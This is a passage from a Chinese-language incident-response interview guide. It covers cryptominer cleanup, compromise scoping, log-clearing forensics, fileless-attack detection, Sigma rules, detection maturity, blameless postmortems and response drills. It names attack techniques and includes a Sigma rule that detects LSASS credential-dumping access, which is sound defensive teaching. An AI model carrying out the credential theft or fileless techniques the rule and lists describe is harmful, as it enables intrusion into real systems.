   常见入口:
     · Redis / Docker / Nacos 未授权访问 ★★★
     · Web 漏洞(Log4j2、Fastjson、Shiro)
     · 弱口令
     · 供应链投毒
   ★ ★ 关键认知:
     挖矿本身不是目的,【攻击者已经在里面了】
     他可能已经放了后门、偷了数据
     → ★ 不能只清挖矿就完事!

⑥ 加固
   修漏洞、改弱口令、关服务暴露、上 EDR、
   ★ CPU 持续 > 50% 告警

面试话术

“不能直接杀进程,有四个原因。第一是有看门狗——挖矿木马的标配是守护进程,要么一个进程定时检查主进程在不在、不在就重启,要么用 cron 加 curl 从远程重新拉脚本,你杀了它几秒钟就回来。第二是有持久化,cron、systemd 服务、计划任务,杀进程前不清持久化,重启后又起来了。第三是暴露了你已经发现,攻击者可能会换更隐蔽的方式或者加速清理痕迹。第四是错过取证机会,直接杀掉就不知道矿池地址、不知道入口、不知道他还做了什么。

正确做法六步:先观察五到十分钟摸清进程树和网络连接、找看门狗;然后在杀进程之前先找并清掉持久化;接着一次性并行清除,顺序是先清持久化、再断网、最后杀进程,反过来会被重新下载。

第五步也是最容易被忽略的一步:找入口。这里我要强调一个认知——挖矿本身不是目的,它只是攻击者变现的手段,真正的含义是攻击者已经在这台机器里面了,他很可能已经放了后门、偷了数据。所以不能只清挖矿就完事,必须按主机完全失陷的流程处理。常见入口是 Redis、Docker、Nacos 的未授权访问,还有 Web 漏洞和弱口令。

最后加固,包括资源监控告警——CPU 持续超过 50% 就应该告警,因为很多挖矿木马会刻意限制 CPU 使用率来躲避检测。“


H16|怎么确定一次事件的失陷范围?(难度 ★★★★)

★ 核心方法:用“凭据可达图”推算

原理:攻击者能去的地方 = 他拿到的凭据能去的地方

★ 关键问题:攻击者抓到的【最高权限的那个凭据】是什么?

  - 只是普通域用户      → 影响面小
  - 某台机器的本地管理员 → 影响这台 + 共用密码的机器
  - 域管               → ★ 影响整个域
  - krbtgt / 有 DCSync → ★★★ 灾难级,必须重置所有密码

★ 五步评估法

第一步:确定事件起点(Patient Zero)
  查:外网入口日志、最初的异常登录、恶意文件最早创建时间
  输出:时间 T0、入口点、初始账号

第二步:确定攻击者拿到过哪些凭据 ★ 最关键
  查:域控上所有涉及可疑账号的 4624、4768/4769、
      4662(DCSync)、Sysmon 10(LSASS 访问)
  输出:失陷凭据清单 + 每个凭据的权限范围

第三步:确定攻击者做了什么
  查:4624 Type 3 的源 IP 图谱(横向)、
      持久化事件、后门、工具执行
  输出:完整时间线

第四步:确定数据有没有被拿走 ★ 决定严重等级
  查:出站流量异常、DNS、文件访问审计、打包行为、
      网盘/邮件外发、USB

第五步:确定还有没有活动后门
  重新审计 AdminSDHolder / GPO / 域根 ACL / SID History
  ★ 重置凭据后观察 2 周

★ 必须诚实面对的盲区

盲区 怎么补
日志不全 从其他痕迹推断(Amcache/Prefetch/网络日志)
保留期太短 ★ 最无奈,只能按“最坏情况”处理
加密流量 从主机侧行为反推
无 EDR 的机器 按“可能已失陷”处理
0day 无法解决
被篡改的日志 交叉验证多来源

⚠️ 必须跟业务方说的话:“基于现有日志,我们能确认的范围是 X;但由于日志只保留 90 天 / 有 30 台机器没装 EDR / 部分日志被清空,我们不能排除更大范围失陷的可能。”

面试话术

“核心方法是用凭据可达图推算:攻击者能去的地方,等于他拿到的凭据能去的地方。所以关键问题是——攻击者抓到的最高权限的那个凭据是什么。如果只是普通域用户,影响面很小;如果是某台机器的本地管理员,影响这台和共用密码的机器;如果是域管,影响整个域;如果拿到了 krbtgt 或者做过 DCSync,那就是灾难级,必须重置所有密码。

具体分五步:找事件起点确定 T0 和入口;确定攻击者拿到过哪些凭据(这一步最关键);确定他做了什么,画完整时间线;确定数据有没有被拿走(这决定是单纯的入侵还是数据泄露);最后确认还有没有活动后门,重置凭据后还要观察两周。

但最重要的是诚实面对盲区:日志不全、保留期太短、没装 EDR 的机器、加密流量、0day,这些情况下我只能按最坏情况处理,并且必须明确告诉业务方——‘我们能确认的是 X,但不能排除更大范围’。过度自信的范围判断,比不判断更危险。“


H17|日志被清空了怎么办?怎么预防?(难度 ★★★★)

★ 首先要明确:清空日志本身就是最强的入侵指标

Event 1102(Windows 安全日志被清空)无条件按最高优先级告警,没有任何例外。

★ 事后能查的八条路

① 其他日志通道(攻击者往往只清 Security)
   System、Application、PowerShell Operational、
   ★ Sysmon(★ 攻击者常不知道有这个)、
   杀软日志、Setup 日志

② ★ 集中化日志(SIEM / WEF)
   ★ 最可靠 —— 攻击者清本地,清不掉已经转发走的

③ ★ 域控上的日志(★ 内网场景最有用)
   从域控反查这个账号的 4624/4768/4769/5136

④ 文件系统痕迹
   Amcache、Shimcache、Prefetch、SRUM、
   ★ $MFT、$LogFile、$UsnJrnl(能恢复已删文件痕迹)、回收站

⑤ ★ 内存取证(机器还没重启的话,优先级最高)

⑥ 网络侧日志
   防火墙、代理、DNS、NetFlow
   ★ DNS 记录能暴露 C2 域名(攻击者常忘了这一块)
   ipconfig /displaydns(本机 DNS 缓存)

⑦ 注册表
   UserAssist、BAM/DAM、TypedPaths、RunMRU

⑧ 备份、卷影拷贝(vssadmin list shadows)

★ 五个预防措施(比事后补救重要得多)

① ★ 日志集中化(WEF / Agent)
   攻击者能清本地,清不了远端。唯一可靠的方案。

② ★ 限制谁能清日志
   把"管理审核和安全日志"(SeSecurityPrivilege)
   ★ 只授予【日志管理专用账号】,不给普通域管
   → 即使域管被攻陷,攻击者也不能清日志

③ 启用"受保护的事件日志记录"
   ⚠️ 但要诚实:它只保护 PowerShell 的 4104,
      不是所有日志

④ 增大日志容量 + 配置"存档而不是覆盖"
   wevtutil sl Security /ms:1073741824

⑤ ★ 部署 Sysmon(独立日志通道,攻击者常不知道)
⑥ 网络侧镜像流量(NDR)—— 主机日志能清,网络流量镜像他控制不了

面试话术

“首先要明确,清空日志本身就是最强的入侵指标——正常运维没有任何理由清空安全日志,Event 1102 应该无条件做成最高优先级告警。

日志被清了还有很多可以查。第一是其他日志通道,攻击者往往只清 Security,System、Application、PowerShell Operational、Sysmon 这些都可能还在,很多攻击者根本不知道有 Sysmon。第二是集中化日志,这是最可靠的,攻击者清本地清不掉已经转发走的。第三是域控上的日志,这个在内网场景特别有用,攻击者清了被控机器的日志,但域控上关于这个账号的 4624、4768、4769 都还在。第四是文件系统痕迹:Amcache、Shimcache、Prefetch、SRUM、USN 日志、MFT,这些不随事件日志一起被清掉。第五是内存取证,机器还没重启的话优先级比磁盘还高。

但更重要的是预防。最有效的是日志集中化;其次是把’管理审核和安全日志’这个特权从普通域管手里收走,只给日志管理专用账号,这样即使域管被攻陷攻击者也清不了日志;还有部署 Sysmon 提供独立的日志通道。另外要提一句,微软的’受保护的事件日志记录’要正确理解——它只保护 PowerShell 的 4104,不是所有日志,不能指望它保护全部。“


H18|怎么检测无文件攻击(不落地)?(难度 ★★★★)

★ 核心认知:不落地 ≠ 不留痕,关键是开对日志

不落地(Living off the Land)的技术:
  ① PowerShell 内存加载(IEX + DownloadString)
  ② WMI 事件订阅(★ 无进程、无文件、重启还在)
  ③ 注册表藏 payload + 反射加载
  ④ rundll32 / regsvr32 / mshta / certutil
  ⑤ .NET 程序集内存加载(Assembly.Load)
  ⑥ 原生系统调用(Syswhispers,绕过 API Hook)
  ⑦ ★ 无模块的 AD 操作(DirectorySearcher)

★ 六个检测手段(按有效性排序)

① ★★ 开 PowerShell 全量日志(性价比最高)
   - Event 4103:模块日志
   - ★ Event 4104:脚本块日志(★ 记录【解混淆后】的实际内容)
   - ★ 强烈建议同时开启"受保护的事件日志记录"防清空
   组策略:管理模板 → Windows PowerShell → 打开脚本块日志记录

② ★★ AMSI(★ 对付无文件攻击的核心机制)
   原理:脚本引擎在执行前,把【解混淆后的内容】交给杀毒引擎扫描
   ★ 它能绕过大部分混淆,因为扫的是最终结果而不是原始字符串
   加固:确保 AMSI 与 EDR 联动

③ ★ 开命令行审计(4688 带 CommandLine)
   组策略 → 高级审核策略 → 详细跟踪 → 审核进程创建
   再勾选"在进程创建事件中加入命令行"

④ ★ Sysmon(补 Windows 日志的不足)
   Event 1  进程创建(含 ParentImage、CommandLine、Hashes)
   Event 7  Image Load(★ 抓反射加载的 DLL)
   Event 8  CreateRemoteThread(★ 抓注入)
   Event 10 ProcessAccess(★ 抓 LSASS 访问)
   ★ Event 19/20/21 WMI 事件订阅(专治 WMI 持久化)

⑤ ★ 检测异常父子进程(★ 绕过"用合法程序"的关键思路)
   正常的父子关系:
     winword.exe → 不应产生 powershell.exe
     excel.exe   → 不应产生 rundll32.exe
     wscript.exe → 不应产生 powershell.exe
     ★ svchost.exe → 不应有 cmd.exe 子进程
     ★ lsass.exe  → 绝不产生子进程
   ★ 看到这类异常,不管命令行是什么,都该告警

⑥ AppLocker / WDAC(★ 最彻底但成本高)
   应用白名单,非白名单二进制不能执行
   ★ 这是【最有效】的对付 LotL 的手段
   ⚠️ 但落地成本较高,策略要做精细,否则业务会炸

面试话术

“不落地就是只用系统自带的程序完成攻击,安全圈叫 Living off the Land。常见手法有 PowerShell 内存加载、WMI 事件订阅(连进程都没有、重启还生效)、注册表藏 payload 反射加载、用 rundll32 和 mshta 这些系统程序执行,还有内网特有的无模块 AD 操作。

防守上关键要认清:不落地不等于不留痕,关键是开对日志。

性价比最高的是开 PowerShell 脚本块日志 Event 4104,它记录的是解混淆后实际执行的脚本内容,混淆绕过不了。

然后是 AMSI,这是对付无文件攻击的核心机制——脚本引擎在执行前会把解混淆后的内容交给杀毒引擎扫描,所以扫的是最终结果而不是原始字符串,能穿透大部分混淆。

再就是 Sysmon 补位,特别是 Event 8 抓注入、Event 10 抓 LSASS 访问、Event 19 到 21 专治 WMI 持久化。

我还想特别强调一个检测思路:看父子进程关系。攻击者再怎么用合法程序,也改变不了’Word 不该启动 PowerShell’、‘Excel 不该启动 rundll32’、’lsass 绝不产生子进程’这类规律。看到异常父子关系,不管命令行写的是什么都该告警。

最彻底的当然是 AppLocker 或 WDAC 应用白名单,直接不让非授权二进制执行,但落地成本高,策略要做精细否则业务会炸。“


H19|什么是 Sigma 规则?为什么需要它?(难度 ★★★)

一句话答案

Sigma=通用的、厂商无关的日志检测规则格式,被称为“日志界的 YARA”。

★ 为什么需要

问题:每家 SIEM 的规则语法都不一样
  Splunk 用 SPL,Elastic 用 KQL,QRadar 用 AQL,
  Sentinel 用 KQL,ArcSight 又是一套
  → 规则没法复用,写一套就得翻译一套
  → ★ 社区成果无法共享

Sigma 的解决:
  用 YAML 写一个【通用规则】
  → 用 sigma-cli 转换成各个平台的语法
  → ★ 一次编写,到处使用
  → ★ 而且社区有上千条现成规则(SigmaHQ)

★ 规则示例(要能看懂)

title: 可疑的 LSASS 内存访问
id: a1b2c3d4-...
tags:
    - attack.credential_access        # ★ ATT&CK 战术
    - attack.t1003.001                # ★ ATT&CK 技术
logsource:
    product: windows
    service: sysmon                   # ★ 数据源声明
detection:
    selection:
        EventID: 10                   # Sysmon ProcessAccess
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x1010'
            - '0x1f0fff'              # PROCESS_ALL_ACCESS
    filter_legit:                     # ★ 排除白名单(减少误报)
        SourceImage|endswith:
            - '\windows\system32\svchost.exe'
            - '\program files\crowdstrike\csfalconservice.exe'  # EDR 自己
    condition: selection and not filter_legit
falsepositives:
    - 杀毒软件、EDR、系统管理工具
level: high

★ 用法

# 转换
sigma convert -t splunk  -p sysmon rules/
sigma convert -t sentinel rules/
sigma convert -t elastalert rules/

# 校验
sigma check rules/my_rule.yml

★ 实务建议(★ 加分)

① 先从 SigmaHQ 拉官方规则库(几千条,覆盖各种场景)
② 批量转换成你的 SIEM 语法
③ ★ 关键:先跑"统计模式"看命中量和误报率,【不要直接上生产告警】
④ 调优白名单,再上线
⑤ ★ 自己写规则时:描述【行为】不描述【特征】
   坏:"进程名 = mimikatz.exe"(改名就绕过)
   好:"非白名单进程读取 LSASS 内存"

面试话术

“Sigma 是通用的、厂商无关的日志检测规则格式,被称为日志界的 YARA。它解决的问题是:每家 SIEM 的规则语法都不一样,Splunk 用 SPL、Elastic 用 KQL、QRadar 用 AQL,写一套就得翻译一套,社区的成果没法共享。Sigma 用 YAML 写一个通用规则,再用工具转换成各个平台的语法,一次编写到处使用。而且 SigmaHQ 社区有几千条现成规则。

规则结构分 meta、logsource、detection、condition 几部分,detection 里可以定义 selection(要匹配什么)和 filter(排除什么),condition 里用 and/or/not 组合。规则上会打 ATT&CK 的标签,这样就能跟覆盖度评估联动。

实务上我的建议是:先从社区拉现成规则批量转换,但关键是要先跑统计模式看命中量和误报率,不要直接上生产告警。误报率高的规则会造成告警疲劳,比没有规则还糟。自己写规则时的原则是描述行为而不是描述特征——比如不要写’进程名等于 mimikatz.exe’,改名就绕过了;要写’非白名单进程读取 LSASS 内存’。“


H20|怎么评估一个组织的检测能力?(难度 ★★★★)

★ 方法一:ATT&CK 覆盖度热力图(最直观)

步骤:
  ① 列出所有检测规则
  ② 给每条打 ATT&CK 技术标签
  ③ 导入 ATT&CK Navigator
  ④ ★ 生成热力图,看哪些格子是空白

解读:
  红色(覆盖好)  → 多条规则覆盖
  黄色(部分)    → 只有一条或规则太宽泛
  空白(没覆盖)  → ★ 盲区

优先级:
  ① 优先补【高频高危】的技术
  ② ★ 特别关注"攻击者几乎必用"的:
     T1059.001 PowerShell
     T1003.001 LSASS Memory
     T1055      Process Injection
     T1071.001  Web C2
     T1021      Remote Services(横向)
     T1547.001  Registry Run(持久化)

★ 方法二:检测成熟度模型(五层)

Level 0:没有日志      什么都检测不到
Level 1:有日志        能事后取证,不能实时告警
Level 2:有简单规则     能告警但容易被绕过(如"看到 mimikatz 字符串")
Level 3:行为检测 ★目标 检测行为不检测特征("非系统进程访问 LSASS")
Level 4:环境感知      结合业务上下文和基线,误报率最低

★ 大部分企业现状:Level 1~2
★ 目标:把高频高危的技术做到 Level 3

升级路径:
  1→2:写检测规则(用 Sigma)
  2→3:改成行为描述(不依赖具体字符串/哈希)
  3→4:建立基线、加上下文

★ 方法三:紫队演练(最真实)

用 Atomic Red Team(★ 提供每条 ATT&CK 技术的自动化测试脚本)
  ① 选一个技术(如 T1055.001 DLL 注入)
  ② 红队实际打一次
  ③ 蓝队看有没有告警、告警准不准、看不看得懂
  ④ 没告警 → 发现盲区,补规则

★ 这是【最低成本的检测能力验证方法】

★ 方法四:度量指标

技术指标:
  - ATT&CK 覆盖度(覆盖了多少条技术)
  - ★ 检出率(红队演练中检测到了多少)
  - 误报率(目标 < 10%)
  - ★ MTTD(平均检测时间)—— 行业均值是数天到数月
  - MTTR(平均响应时间)

业务指标(★ 汇报给管理层用):
  - "到域管的最短路径从 137 条降到 12 条"
  - "日志覆盖率从 60% 提升到 98%"
  - ★ 用【趋势】汇报,比讲技术细节有用

面试话术

“我一般用四种方法。

第一种是 ATT&CK 覆盖度热力图:把现有检测规则打上 ATT&CK 标签,导入 ATT&CK Navigator 生成热力图,看哪些格子是空白,那就是盲区。然后优先补高频高危的技术,特别是攻击者几乎必用的那几条——PowerShell、LSASS 内存访问、进程注入、Web C2、远程服务横向、注册表持久化。

第二种是检测成熟度模型,分五层:没有日志、有日志、有简单规则、行为检测、环境感知。大部分企业的现状是第二三层,目标是把高频高危的技术做到第四层——也就是检测行为而不是检测特征,比如不写’进程名等于 mimikatz’,而写’非白名单进程读取 LSASS 内存’。

第三种是紫队演练,用 Atomic Red Team 提供的测试脚本实际打一次,看检测能不能抓到。这是最低成本的验证方法,而且能发现’规则存在但实际不生效’的情况。

第四种是度量指标。技术上跟踪覆盖度、检出率、误报率、MTTD、MTTR;但给管理层汇报时我用趋势,比如’到域管的最短路径从 137 条降到 12 条’、‘日志覆盖率从 60% 提升到 98%’——这比讲两小时技术有用得多。“


H21|什么是无责复盘?为什么重要?(难度 ★★★)

★ 对比说明(核心)

有责复盘(❌):
  "张三点击了钓鱼邮件,导致了这次事故"
  结论:处罚张三、加强培训
  ★ 后果:
    · 下次别人不敢上报(怕被罚)★ 最严重的后果
    · 真正的问题一个都没解决
      (为什么邮件网关没拦住?为什么没有 MFA?)
    · ★ 同样的事故会再发生

无责复盘(✅):
  "一封钓鱼邮件到达了张三的邮箱,绕过了邮件网关的检测,
   张三点击后,由于没有 MFA,攻击者用他的凭据直接登录了 VPN"
  结论:
    · 邮件网关规则为什么没拦住?
    · 为什么没启用 MFA?
    · ★ 为什么张三会觉得这封邮件是真的?
  ★ 后果:系统性改进

★ 核心思想

"人不会犯错,是系统允许了错误的发生"
  → 张三点击钓鱼邮件是【人的正常反应】
  → ★ 真正的问题是"系统为什么允许一次点击就导致灾难"

★ 这个思想来自航空业和 SRE(网站可靠性工程)
  航空业正是因为建立了无责的事故调查文化,
  才把事故率降到了极低的水平

★ 五个原则

① 不追责个人
   ★ 但"故意违规"除外(这是纪律问题,不是复盘问题)
   区分:失误(mistake,无心)≠ 违规(violation,明知故犯)

② 关注系统,不关注人
   问:"什么条件导致了这个错误?"
   不问:"谁犯了这个错误?"

③ 用"五个为什么"找根因
   逐层追问,直到找到【流程/制度/投入】层面的根因
   (见 8.9.4 的例子)

④ 改进项必须有 owner 和 deadline
   ★ "加强安全意识" ← 不是改进项(不可执行、不可度量)
   ★ "6月30日前,张三负责完成 MFA 全员推广,覆盖率 ≥ 95%" ← 才是

⑤ 复盘报告要公开(组织内部)
   → 让所有人都能学到
   → ★ 这也是"无责"的体现:不藏丑

面试话术

“无责复盘就是不追责个人、只找系统和流程问题的复盘方式。

举个对比。有责复盘会写成’张三点击了钓鱼邮件导致了这次事故’,结论是处罚张三、加强培训。后果很严重:下次别人不敢上报了,因为怕被罚;而真正的问题——为什么邮件网关没拦住、为什么没启用 MFA——一个都没解决,同样的事故一定会再来。

无责复盘会写成’一封钓鱼邮件到达了张三的邮箱并绕过了邮件网关,张三点击后由于没有 MFA,攻击者用他的凭据直接登录了 VPN’。这样就会追问:邮件网关规则为什么没拦住?为什么没启用 MFA?为什么张三会觉得这封邮件是真的?

核心思想是那句话:人不会犯错,是系统允许了错误的发生。张三点击钓鱼邮件是人的正常反应,真正的问题是系统为什么允许一次点击就导致灾难。这个思想来自航空业和 SRE,航空业正是靠建立无责的事故调查文化才把事故率降到极低。

五个原则:不追责个人(但故意违规除外)、关注系统不关注人、用五个为什么找根因、改进项必须有 owner 和 deadline、报告要公开。

关于改进项我想强调一点:‘加强安全意识’不是改进项,因为它不可执行也不可度量。真正的是’6月30日前张三负责完成 MFA 全员推广,覆盖率达到 95%’。“


H22|怎么建立应急预案?怎么演练?(难度 ★★★★)

★ 预案里必须有的十件事

① 事件分级标准
② 联系人清单(★ 含手机,7×24)
③ 升级路径(★ 什么情况升级给谁、多长时间内)
④ 处置剧本(勒索、挖矿、Webshell、钓鱼、数据泄露 + 本单位特有的)
⑤ 工具箱位置和使用方法(★ 不能只写工具名)
⑥ 通信渠道(★ 含带外)
⑦ 证据保管规范(存哪、保留多久、谁能访问)
⑧ 外部沟通模板(客户通知、监管报告、媒体声明)
⑨ ★ 法务与合规要求清单(什么情况必须上报、时限)
⑩ 恢复优先级清单(★ 必须业务方参与制定)

★ 桌面演练(Tabletop Exercise)

什么是:大家坐在一起,模拟一个事件场景,口头推演处置过程
        ★ 不涉及实际操作,不动生产系统

为什么必须做:
  "预案不演练 = 没有预案"
  ★ 演练会暴露大量预案里没想到的问题:
    - 联系人电话是错的
    - 某个人不知道自己的职责
    - 某个工具坏了/没装
    - 两个部门对"能不能停业务"有分歧
    - ★ 某个关键步骤没人知道怎么做

六步:
  ① 选场景(★ 选本单位最可能发生的)
  ② 准备场景材料(★ 分阶段发放,模拟信息逐步明确)
  ③ 角色分配(★ 让不同的人扮演,包括平时不做应急的人)
  ④ 推演(2~4 小时)
     ★ 主持人的关键问题:
       "现在你要做什么?"
       "这个决定谁来做?"
       "你需要什么信息?"
       "如果联系不上那个人怎么办?"
  ⑤ 记录问题(★ 这是演练最大的产出)
  ⑥ 出改进清单,更新预案

频率:
  桌面演练:每半年一次
  ★ 技术演练(真的做一次恢复):每年一次
  新员工入职:必须参加一次

★ 面试官追问:演练发现最多的问题是什么?

根据业界经验,排名前五:

① 联系人清单失效(电话/微信/职责变了)
② ★ 职责不清("我以为是他做")
③ 决策链不清(谁有权决定停业务?现场吵架)
④ 工具不可用(没装、没授权、版本不对、需要联网下载)
⑤ ★ 沟通混乱(没有指定发言人,多头对外说法不一)

★ 还有一个常见的:预案写得太理想化
  "1 小时内完成取证" —— 实际一个数 TB 的镜像要几小时
  → ★ 所以演练时要用【真实的时间尺度】

面试话术

“预案里必须有十件事:事件分级标准、7×24 的联系人清单、升级路径(什么情况升级给谁、多长时间内)、处置剧本、工具箱的位置和使用方法(不能只写工具名)、通信渠道(要含带外方式)、证据保管规范、外部沟通模板、法务合规要求清单(什么情况必须上报、时限是多久)、以及恢复优先级清单(这个必须业务方参与制定)。

演练分两种。桌面演练是大家坐在一起模拟一个场景口头推演,不动生产系统,每半年一次。做法是选一个本单位最可能发生的场景,把场景材料分阶段发放来模拟信息逐步明确的过程,让不同的人扮演不同角色,主持人不断追问’现在你要做什么’、‘这个决定谁来做’、‘如果联系不上那个人怎么办’。演练最大的产出是记录下来的问题清单。

技术演练是真的做一次恢复,每年至少一次。

演练发现最多的问题,根据业界经验前五个是:联系人清单失效、职责不清(我以为是他做)、决策链不清(谁有权停业务,现场吵架)、工具不可用(没装或需要联网下载)、沟通混乱(多头对外说法不一)。

还有一个很常见的:预案写得太理想化,比如’1 小时内完成取证’,实际一个数 TB 的镜像就要几小时。所以演练时一定要用真实的时间尺度。“


8.11.3 场景题(H23 ~ H27)


H23|场景:凌晨 3 点,告警响了,生产服务器 CPU 100%,你是值班工程师,怎么做?(难度 ★★★★)

这是最容易考到的场景题,因为它考的是“第一反应对不对”。

★ 前 5 分钟:千万别做错

❌ 错误的第一反应(★ 90% 的人会这么干):
   ① 立刻 kill 掉那个进程
   ② 或者重启服务器
   → ★ 后果:
     · 内存证据没了(进程、网络连接、注入的代码)
     · 网络连接断了(不知道连的哪个 C2)
     · ★ 如果是挖矿,看门狗会把它拉回来
     · ★ 而且暴露了你已发现

✅ 正确的第一反应(5 分钟内,按顺序):

  【第 1 分钟】确认 + 记录
    - 记下当前时间(★ UTC)
    - 看告警详情:哪台机器、什么告警、什么进程
    - ★ 不要登录服务器做复杂操作,先看监控

  【第 2~3 分钟】快速取证(★ 最关键的 2 分钟)
    # Linux
    ps auxwww > /evidence/ps.txt              # 进程
    ss -tunap > /evidence/ss.txt              # 网络连接(★ 含进程)
    cat /proc/<PID>/cmdline | tr '\0' ' '     # ★ 具体命令行
    ls -la /proc/<PID>/exe                    # ★ 有没有 (deleted)
    lsof -p <PID>                             # 打开的文件
    cp /proc/<PID>/exe /evidence/sample.bin   # ★ 把样本存下来!

    # Windows
    tasklist /v
    netstat -ano
    wmic process where "ProcessId=1234" get CommandLine   # ★ 命令行
    # ★ 从 Sysmon 日志或 Procexp 看父进程

  【第 4~5 分钟】初步判断
    - 这个进程是什么?(名字、路径、命令行)
    - ★ 父进程是谁?(★ 关键:svchost 不该有 cmd 子进程)
    - 连到哪?(内网还是外网?什么端口?)
    - 什么时候开始的?(进程启动时间)
    - ★ 有没有持久化?(cron / 服务 / 计划任务)

★ 5~30 分钟:决策与升级

【决策一:要不要立即隔离?】
  判断依据:
    ① 这个进程在【做什么】?
       - 加密文件(勒索)      → ★ 立即隔离,1 秒都不要等
       - 外传大量数据          → 立即隔离
       - 只是挖矿/占用 CPU     → 可以先取证,再处置
    ② 业务影响多大?
       - 核心业务系统 → 需要业务负责人参与决策
       - 边缘系统     → 安全工程师可以自己决定

  ★ 隔离方式:优先【网络隔离】而不是关机

【决策二:要不要升级?】
  ★ 按预案的升级路径走。一般规则:
    - 30 分钟未定位 → 升级技术负责人
    - 1 小时未遏制 → 升级 CISO
    - ★ 涉及个人信息/核心数据 → 立即通知法务

【决策三:取证到什么程度?】
  ★ 时间充裕:做完整的内存 dump + 磁盘镜像
  ★ 时间紧迫(比如勒索正在加密):
    只做快速取证(5~10 分钟),然后立即处置

★ 30 分钟后:处置

【如果是挖矿】
  ★ 顺序:先清持久化 → 断网 → 杀进程
  (不能反过来,否则会被重新下载)
  然后找入口(Redis 未授权?Web 漏洞?弱口令?)

【如果是未知进程】
  ★ 不要急着杀,先观察
  - 它连的 IP(查威胁情报)
  - 它的文件(算哈希,查 VT)
  - 它做了什么(文件操作、网络连接)
  → 定性之后再处置

【如果确定是恶意的】
  ① 网络隔离(不断电)
  ② 完整取证(内存 + 磁盘)
  ③ 找入口
  ④ 清除 + 恢复

★ 绝对不能做的三件事

① 不要在生产机上"分析"样本
   ★ 会破坏证据,还可能触发样本的自毁逻辑

② 不要急着"恢复业务"
   ★ 没找到入口就恢复 = 一定会被再打一次

③ 不要一个人扛
   ★ 按预案升级。凌晨 3 点打电话给上级,
     这不是麻烦别人,这是你的职责

面试话术(★ 3 分钟版本)

“我第一反应不是杀进程,而是先花两分钟做快速取证。

原因是:进程杀了就没了,内存里的证据、网络连接、注入的代码全都不可恢复。而且如果是挖矿木马,它有看门狗进程,你杀了它几秒钟就回来,还暴露了你已经发现。

具体做四件事:保存进程列表(带完整命令行)、保存网络连接(要带进程信息)、看这个进程的 exe 有没有显示 deleted、把可执行文件本身复制出来做样本。Windows 上要额外看父进程——’svchost 启动了 cmd’这种异常是最直接的恶意信号。

然后做三个决策。第一个是要不要立即隔离,判断依据是这个进程在做什么:如果是在加密文件(勒索软件)或者外传大量数据,那就立即隔离,一秒都不要等;如果只是挖矿占用 CPU,可以先取证再处置。隔离优先用网络隔离而不是关机,因为关机丢内存证据。

第二个是要不要升级,按预案的升级路径走,三十分钟未定位就升级技术负责人,涉及个人信息的立即通知法务。凌晨三点打电话给上级不是麻烦别人,这是职责。

第三个是取证到什么程度,时间充裕就做完整内存 dump 和磁盘镜像,时间紧迫比如勒索正在加密,就只做五到十分钟快速取证然后立即处置。

最后我要强调三个绝对不能做的事:不要在生产机上分析样本、不要没找到入口就急着恢复业务、不要一个人扛着不升级。“


H24|场景:客户/老板说“别管取证了,先恢复业务”,你怎么回应?(难度 ★★★★)

★ 核心思路:不要对抗,用“成本”说话

★ 关键认知:
  "取证"和"恢复"不是对立的
  ★ 正确的取证【不会】显著延迟恢复
  —— 只要你做的是【快速取证】而不是【完整取证】

★ 三段式回应

【第一段:先认可 + 给出时间成本】

  "我完全理解,业务中断每分钟都在损失,恢复是第一优先级。
   但我想说明一件事:**快速取证只需要 5 到 10 分钟**,
   它不会显著延迟恢复。

   这 5 分钟我要做三件事:
     ① 内存 dump(10 分钟内能完成)
     ② 进程列表 + 网络连接
     ③ 关键日志导出

   ★ 做完这三件事,恢复工作立刻开始,我不会再占用时间。"

【第二段:说明"不取证的代价"(★ 用业务语言,不用技术语言)】

  "为什么这 5 分钟值得花?三个原因:

   ① ★ 不知道他怎么进来的,恢复完他还会再进来
      我见过太多案例:花了三天恢复,
      上线两小时又被打进去了,因为入口没找到。
      → ★ 找入口必须靠这些证据

   ② ★ 不知道丢了什么,就没法判断是否要上报
      如果涉及个人信息泄露,法律要求在【72 小时内】上报。
      没有证据,我们连'有没有泄露'都回答不了。
      → ★ 这个风险比停几小时业务更大

   ③ ★ 不知道影响范围,恢复也不彻底
      我们可能只恢复了 3 台机器,但实际上有 30 台失陷。
      → 结果还是会被打第二次"

【第三段:给折中方案(★ 让对方有得选)】

  "所以我的建议是:

   【方案 A(推荐)】
     5~10 分钟快速取证 → 立即恢复业务 → 后台继续分析
     ★ 代价:恢复延迟 5~10 分钟
     ★ 收益:能找到入口、能判断影响范围、能回答合规问题

   【方案 B】
     先恢复业务,取证完全放弃
     ★ 代价:不知道入口、不知道范围、可能二次失陷、
              可能无法回答监管的问题

   【方案 C】
     先恢复业务,用【备份】做取证
     ★ 如果你们有备份,这个方案最好:
       业务从备份恢复(快),
       我拿原始磁盘做离线分析(不影响业务)
     ★ ★ 这是我最推荐的方案,但它要求【有干净可用的备份】"

【★ 杀手锏:如果对方还是不同意】

  "我理解了,那就按方案 B 执行,先恢复业务。

   ★ 但请允许我做一件事:**保留这块磁盘**。
     不要格式化、不要重装覆盖。
     ★ 成本是零,但万一后面需要追查(监管问询、保险理赔、
        诉讼取证),我们还有机会。

     我会把这一点记录在事件记录里,注明是您的决策。"
  ↑ ★ 这不是对抗,是【风险留痕】。专业的做法。

★ 面试话术(精简版)

“我不会直接对抗,而是用成本说话。

首先我要说明一个关键点:快速取证只需要五到十分钟,不会显著延迟恢复。它和’恢复业务’不是对立的——只要你做的是快速取证而不是完整取证。

然后说明不取证的代价,而且要用业务语言不是技术语言:第一,不知道他怎么进来的,恢复完他还会再进来——我见过花了三天恢复、上线两小时又被打进去的案例。第二,不知道丢了什么就没法判断是否要上报——涉及个人信息泄露法律要求 72 小时内上报,没有证据我们连’有没有泄露’都回答不了,这个风险比停几小时业务更大。第三,不知道影响范围,恢复也不彻底。

再给折中方案让对方选:方案 A 是快速取证五到十分钟然后立即恢复,后台继续分析;方案 C 是我最推荐的——如果有备份,业务从备份恢复,我拿原始磁盘做离线分析,两边都不耽误。

最后如果对方还是不同意,我会执行他的决定,但请求保留原始磁盘不要格式化——成本是零,但万一后面需要追查(监管问询、保险理赔、诉讼)还有机会。并且我会把这一点记录在事件记录里,注明是他的决策。这不是对抗,是风险留痕。“


H25|场景:发现数据泄露了,要不要上报?怎么判断?(难度 ★★★★★)

★ 首先:这不是技术团队能单独决定的,必须由法务和合规主导

★ 安全团队的职责是:
  ① 尽快确定【泄露了什么、多少、涉及谁】
  ② 立即通知法务和合规
  ③ 提供技术事实,不做法律判断

★ 不能做的是:
  - 自己决定"不用上报"
  - 或者隐瞒不报
  - ★ 隐瞒的后果远大于事件本身

★ 判断上报义务的四个维度

